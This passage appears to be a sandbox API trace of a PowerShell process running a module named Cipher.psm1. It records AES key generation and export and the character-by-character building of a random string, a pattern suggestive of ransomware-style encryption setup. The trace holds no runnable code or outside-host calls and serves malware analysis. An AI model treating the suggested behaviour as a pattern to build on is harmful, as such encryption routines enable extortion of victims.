lpCs=0x99ae434) returned 0 [0135.780] GetConsoleOutputCP () returned 0x1b5 [0135.781] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0135.781] GetConsoleOutputCP () returned 0x1b5 [0135.781] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0135.781] GetConsoleOutputCP () returned 0x1b5 [0135.781] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0135.781] GetConsoleOutputCP () returned 0x1b5 [0135.782] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0135.782] GetConsoleOutputCP () returned 0x1b5 [0135.782] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0135.782] GetConsoleOutputCP () returned 0x1b5 [0135.782] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0135.782] GetConsoleOutputCP () returned 0x1b5 [0135.783] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0135.783] GetConsoleOutputCP () returned 0x1b5 [0135.783] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0135.783] GetConsoleOutputCP () returned 0x1b5 [0135.783] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0135.783] GetConsoleOutputCP () returned 0x1b5 [0135.784] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0135.784] GetConsoleOutputCP () returned 0x1b5 [0135.784] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0135.784] GetConsoleOutputCP () returned 0x1b5 [0135.784] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0135.784] GetConsoleOutputCP () returned 0x1b5 [0135.785] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0135.785] GetConsoleOutputCP () returned 0x1b5 [0135.785] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0135.785] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae4d8 | out: lpConsoleScreenBufferInfo=0x99ae4d8) returned 1 [0135.785] GetConsoleOutputCP () returned 0x1b5 [0135.786] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae474, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae474) returned 0 [0135.786] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4e0 | out: lpMode=0x99ae4e0) returned 1 [0135.786] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x694d908*, nNumberOfCharsToWrite=0x77, lpNumberOfCharsWritten=0x99ae4d8, lpReserved=0x0 | out: lpBuffer=0x694d908*, lpNumberOfCharsWritten=0x99ae4d8*=0x77) returned 1 [0135.786] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4e0 | out: lpMode=0x99ae4e0) returned 1 [0135.787] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae4d8, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae4d8*=0x2) returned 1 [0135.790] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aee78*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee78*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.790] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xfc, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xfc, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.790] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99aeb14, nSize=0x100 | out: lpBuffer="") returned 0x0 [0135.790] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae7f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0135.790] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeeec*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeeec*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.790] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aee4c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee4c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xfc, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.790] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.791] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae768, nSize=0x100 | out: lpBuffer="\x1161\x73b6\x30f7\x6b24\x14\x01\xd440\x73ae\x96e8\x667") returned 0x0 [0135.791] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae444, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0135.791] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeb40*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeb40*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.791] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeaa0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeaa0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.791] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.792] CryptAcquireContextW (in: phProv=0x99ae440, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae440*=0x43969b0) returned 1 [0135.792] CryptGenKey (in: hProv=0x43969b0, Algid=0x6610, dwFlags=0x1, phKey=0x99ae854 | out: phKey=0x99ae854*=0x8e84ff8) returned 1 [0135.792] CryptContextAddRef (hProv=0x43969b0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0135.792] CryptExportKey (in: hKey=0x8e84ff8, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x99ae894 | out: pbData=0x0*, pdwDataLen=0x99ae894*=0x2c) returned 1 [0135.792] CryptExportKey (in: hKey=0x8e84ff8, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x69574c0, pdwDataLen=0x99ae894 | out: pbData=0x69574c0*, pdwDataLen=0x99ae894*=0x2c) returned 1 [0135.793] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae414, nSize=0x100 | out: lpBuffer="\x7450\x695\xe480\x99a\x14\x01\xd440\x73ae\x785c\x667\xe400\x99a\x9e") returned 0x0 [0135.793] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae7ec*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae7ec*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.793] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae74c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae74c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.793] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae7dc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae7dc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.793] SysStringLen (param_1="") returned 0x8 [0135.793] SysStringLen (param_1="R") returned 0x8 [0135.793] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.793] SysStringLen (param_1="\xf672\xd84a\x7f83\x4627\x5739\x8cde\xbaef\x3f7c") returned 0x8 [0135.793] SysStringLen (param_1="\xf672\xd84a\x7f83\x4627\x5739\x8cde\xbaef\x3f7c") returned 0x8 [0135.795] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.795] SysStringLen (param_1="RW") returned 0x8 [0135.795] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.795] SysStringLen (param_1="\x1ea7\xa3fa\x8385\x8673\x11be\xc1ca\xef31\x51e") returned 0x8 [0135.795] SysStringLen (param_1="\x1ea7\xa3fa\x8385\x8673\x11be\xc1ca\xef31\x51e") returned 0x8 [0135.795] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.795] SysStringLen (param_1="RWy") returned 0x8 [0135.795] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.795] SysStringLen (param_1="\xfca1\x8fad\x4581\x915d\x888b\xffce\x1256\xd52d") returned 0x8 [0135.795] SysStringLen (param_1="\xfca1\x8fad\x4581\x915d\x888b\xffce\x1256\xd52d") returned 0x8 [0135.795] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.795] SysStringLen (param_1="RWyY") returned 0x8 [0135.795] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.795] SysStringLen (param_1="\xaba5\x70f5\xccff\xe334\xae05\x2de3\xf3ac\xf179") returned 0x8 [0135.795] SysStringLen (param_1="\xaba5\x70f5\xccff\xe334\xae05\x2de3\xf3ac\xf179") returned 0x8 [0135.795] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.795] SysStringLen (param_1="RWyYH") returned 0x8 [0135.795] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.795] SysStringLen (param_1="\x62fc\x2dba\x85e5\x3cb1\x870c\x95c9\xee21\x89a0") returned 0x8 [0135.795] SysStringLen (param_1="\x62fc\x2dba\x85e5\x3cb1\x870c\x95c9\xee21\x89a0") returned 0x8 [0135.795] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.795] SysStringLen (param_1="RWyYHE") returned 0x8 [0135.795] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.796] SysStringLen (param_1="䍜欗겋眛⚅홴᫞讼") returned 0x8 [0135.796] SysStringLen (param_1="䍜欗겋眛⚅홴᫞讼") returned 0x8 [0135.796] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.796] SysStringLen (param_1="RWyYHEI") returned 0x8 [0135.796] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.796] SysStringLen (param_1="\x140\x8846\x224d\xd323\x246e\x3175\x80fc\xce16") returned 0x8 [0135.796] SysStringLen (param_1="\x140\x8846\x224d\xd323\x246e\x3175\x80fc\xce16") returned 0x8 [0135.796] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.796] SysStringLen (param_1="RWyYHEIS") returned 0x8 [0135.796] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.796] SysStringLen (param_1="\xb46a\xa31\x15c5\x4b03\x49a0\x89b5\x1381\x4f35") returned 0x8 [0135.796] SysStringLen (param_1="\xb46a\xa31\x15c5\x4b03\x49a0\x89b5\x1381\x4f35") returned 0x8 [0135.796] SysStringLen (param_1="\xb46a\xa31\x15c5\x4b03\x49a0\x89b5\x1381\x4f35") returned 0x8 [0135.796] SysStringLen (param_1="\xb46a\xa31\x15c5\x4b03\x49a0\x89b5\x1381\x4f35") returned 0x10 [0135.796] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.796] SysStringLen (param_1="RWyYHEISzਛ暍䨅赠鴠噺翦") returned 0x10 [0135.796] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.796] SysStringLen (param_1="\xb46a\xa31\x15c5\x4b03\x49a0\x89b5\x1381\x4f35\xe603\xcb86\x5420\xb7aa\xa646\xe246\x7e59\x51a5") returned 0x10 [0135.796] SysStringLen (param_1="\xb46a\xa31\x15c5\x4b03\x49a0\x89b5\x1381\x4f35\xe603\xcb86\x5420\xb7aa\xa646\xe246\x7e59\x51a5") returned 0x10 [0135.796] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.796] SysStringLen (param_1="RWyYHEISz3暍䨅赠鴠噺翦") returned 0x10 [0135.797] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.797] SysStringLen (param_1="\xb46a\xa31\x15c5\x4b03\x49a0\x89b5\x1381\x4f35\xcf61\x1450\x1c26\x2d11\x86c9\x4e17\x53fe\x826c") returned 0x10 [0135.797] SysStringLen (param_1="\xb46a\xa31\x15c5\x4b03\x49a0\x89b5\x1381\x4f35\xcf61\x1450\x1c26\x2d11\x86c9\x4e17\x53fe\x826c") returned 0x10 [0135.797] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.797] SysStringLen (param_1="RWyYHEISz3N䨅赠鴠噺翦") returned 0x10 [0135.797] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.797] SysStringLen (param_1="\xb46a\xa31\x15c5\x4b03\x49a0\x89b5\x1381\x4f35\x3248\x581b\xc78a\x550d\xde00\x3aa9\xa172\x153b") returned 0x10 [0135.797] SysStringLen (param_1="\xb46a\xa31\x15c5\x4b03\x49a0\x89b5\x1381\x4f35\x3248\x581b\xc78a\x550d\xde00\x3aa9\xa172\x153b") returned 0x10 [0135.797] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.797] SysStringLen (param_1="RWyYHEISz3Ng赠鴠噺翦") returned 0x10 [0135.797] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.797] SysStringLen (param_1="\xb46a\xa31\x15c5\x4b03\x49a0\x89b5\x1381\x4f35\x12f0\x7f36\x7721\xc620\x4f2d\x5a7b\xa703\x6daa") returned 0x10 [0135.797] SysStringLen (param_1="\xb46a\xa31\x15c5\x4b03\x49a0\x89b5\x1381\x4f35\x12f0\x7f36\x7721\xc620\x4f2d\x5a7b\xa703\x6daa") returned 0x10 [0135.797] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.797] SysStringLen (param_1="RWyYHEISz3NgO鴠噺翦") returned 0x10 [0135.797] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.797] SysStringLen (param_1="\xb46a\xa31\x15c5\x4b03\x49a0\x89b5\x1381\x4f35\x33e7\xbf1d\x118e\xe4c5\x192c\xb426\xb3a9\x5e8c") returned 0x10 [0135.797] SysStringLen (param_1="\xb46a\xa31\x15c5\x4b03\x49a0\x89b5\x1381\x4f35\x33e7\xbf1d\x118e\xe4c5\x192c\xb426\xb3a9\x5e8c") returned 0x10 [0135.797] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.797] SysStringLen (param_1="RWyYHEISz3NgOO噺翦") returned 0x10 [0135.797] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.798] SysStringLen (param_1="\xb46a\xa31\x15c5\x4b03\x49a0\x89b5\x1381\x4f35\x563d\x8b55\x8d67\xc8ad\xec8f\x20d4\xd2bb\x8328") returned 0x10 [0135.798] SysStringLen (param_1="\xb46a\xa31\x15c5\x4b03\x49a0\x89b5\x1381\x4f35\x563d\x8b55\x8d67\xc8ad\xec8f\x20d4\xd2bb\x8328") returned 0x10 [0135.798] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.798] SysStringLen (param_1="RWyYHEISz3NgOOt翦") returned 0x10 [0135.798] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.798] SysStringLen (param_1="\xb46a\xa31\x15c5\x4b03\x49a0\x89b5\x1381\x4f35\x978b\x6b35\x442d\x8cd1\xe3da\x7ecd\x9737\x379a") returned 0x10 [0135.798] SysStringLen (param_1="\xb46a\xa31\x15c5\x4b03\x49a0\x89b5\x1381\x4f35\x978b\x6b35\x442d\x8cd1\xe3da\x7ecd\x9737\x379a") returned 0x10 [0135.798] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.798] SysStringLen (param_1="RWyYHEISz3NgOOtO") returned 0x10 [0135.798] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.798] SysStringLen (param_1="\xb46a\xa31\x15c5\x4b03\x49a0\x89b5\x1381\x4f35\x9be3\x736a\xa0a4\x308a\xe0c7\xc3bb\xbf09\x19c0") returned 0x10 [0135.798] SysStringLen (param_1="\xb46a\xa31\x15c5\x4b03\x49a0\x89b5\x1381\x4f35\x9be3\x736a\xa0a4\x308a\xe0c7\xc3bb\xbf09\x19c0") returned 0x10 [0135.798] SysStringLen (param_1="\xb46a\xa31\x15c5\x4b03\x49a0\x89b5\x1381\x4f35\x9be3\x736a\xa0a4\x308a\xe0c7\xc3bb\xbf09\x19c0") returned 0x10 [0135.798] SysStringLen (param_1="\xb46a\xa31\x15c5\x4b03\x49a0\x89b5\x1381\x4f35\x9be3\x736a\xa0a4\x308a\xe0c7\xc3bb\xbf09\x19c0") returned 0x18 [0135.798] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.798] SysStringLen (param_1="RWyYHEISz3NgOOtOa獀포ㆌ␇휮﫲⤓") returned 0x18 [0135.798] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.798] SysStringLen (param_1="\xb46a\xa31\x15c5\x4b03\x49a0\x89b5\x1381\x4f35\x9be3\x736a\xa0a4\x308a\xe0c7\xc3bb\xbf09\x19c0\x7d63\x424a\xd816\x54b\xa5fa\x3cac\x5414\xc7a4") returned 0x18 [0135.798] SysStringLen (param_1="\xb46a\xa31\x15c5\x4b03\x49a0\x89b5\x1381\x4f35\x9be3\x736a\xa0a4\x308a\xe0c7\xc3bb\xbf09\x19c0\x7d63\x424a\xd816\x54b\xa5fa\x3cac\x5414\xc7a4") returned 0x18 [0135.798] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.798] SysStringLen (param_1="RWyYHEISz3NgOOtOaw포ㆌ␇휮﫲⤓") returned 0x18 [0135.798] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.799] SysStringLen (param_1="\xb46a\xa31\x15c5\x4b03\x49a0\x89b5\x1381\x4f35\x9be3\x736a\xa0a4\x308a\xe0c7\xc3bb\xbf09\x19c0\xea2\xe076\xac59\x4d0b\x7656\xf961\xbfe3\x9409") returned 0x18 [0135.799] SysStringLen (param_1="\xb46a\xa31\x15c5\x4b03\x49a0\x89b5\x1381\x4f35\x9be3\x736a\xa0a4\x308a\xe0c7\xc3bb\xbf09\x19c0\xea2\xe076\xac59\x4d0b\x7656\xf961\xbfe3\x9409") returned 0x18 [0135.799] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.799] SysStringLen (param_1="RWyYHEISz3NgOOtOawQㆌ␇휮﫲⤓") returned 0x18 [0135.799] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.799] SysStringLen (param_1="\xb46a\xa31\x15c5\x4b03\x49a0\x89b5\x1381\x4f35\x9be3\x736a\xa0a4\x308a\xe0c7\xc3bb\xbf09\x19c0\x47e1\xbae8\x3957\xa8bf\xacaa\x2506\x46c4\x933e") returned 0x18 [0135.799] SysStringLen (param_1="\xb46a\xa31\x15c5\x4b03\x49a0\x89b5\x1381\x4f35\x9be3\x736a\xa0a4\x308a\xe0c7\xc3bb\xbf09\x19c0\x47e1\xbae8\x3957\xa8bf\xacaa\x2506\x46c4\x933e") returned 0x18 [0135.799] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.799] SysStringLen (param_1="RWyYHEISz3NgOOtOawQP␇휮﫲⤓") returned 0x18 [0135.799] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.799] SysStringLen (param_1="\xb46a\xa31\x15c5\x4b03\x49a0\x89b5\x1381\x4f35\x9be3\x736a\xa0a4\x308a\xe0c7\xc3bb\xbf09\x19c0\xdcec\x74c2\xe842\xc439\xea10\x58e1\xf4bc\xf990") returned 0x18 [0135.799] SysStringLen (param_1="\xb46a\xa31\x15c5\x4b03\x49a0\x89b5\x1381\x4f35\x9be3\x736a\xa0a4\x308a\xe0c7\xc3bb\xbf09\x19c0\xdcec\x74c2\xe842\xc439\xea10\x58e1\xf4bc\xf990") returned 0x18 [0135.799] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.799] SysStringLen (param_1="RWyYHEISz3NgOOtOawQPb휮﫲⤓") returned 0x18 [0135.799] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.799] SysStringLen (param_1="\xb46a\xa31\x15c5\x4b03\x49a0\x89b5\x1381\x4f35\x9be3\x736a\xa0a4\x308a\xe0c7\xc3bb\xbf09\x19c0\x5023\xbc80\x328\xfe30\x9130\x7738\x6349\xa9f2") returned 0x18 [0135.799] SysStringLen (param_1="\xb46a\xa31\x15c5\x4b03\x49a0\x89b5\x1381\x4f35\x9be3\x736a\xa0a4\x308a\xe0c7\xc3bb\xbf09\x19c0\x5023\xbc80\x328\xfe30\x9130\x7738\x6349\xa9f2") returned 0x18 [0135.799] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.799] SysStringLen (param_1="RWyYHEISz3NgOOtOawQPb7﫲⤓") returned 0x18 [0135.799] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.800] SysStringLen (param_1="\xb46a\xa31\x15c5\x4b03\x49a0\x89b5\x1381\x4f35\x9be3\x736a\xa0a4\x308a\xe0c7\xc3bb\xbf09\x19c0\x66b5\xd811\x2154\x7706\xa893\xe1bc\x6a23\x821b") returned 0x18 [0135.800] SysStringLen 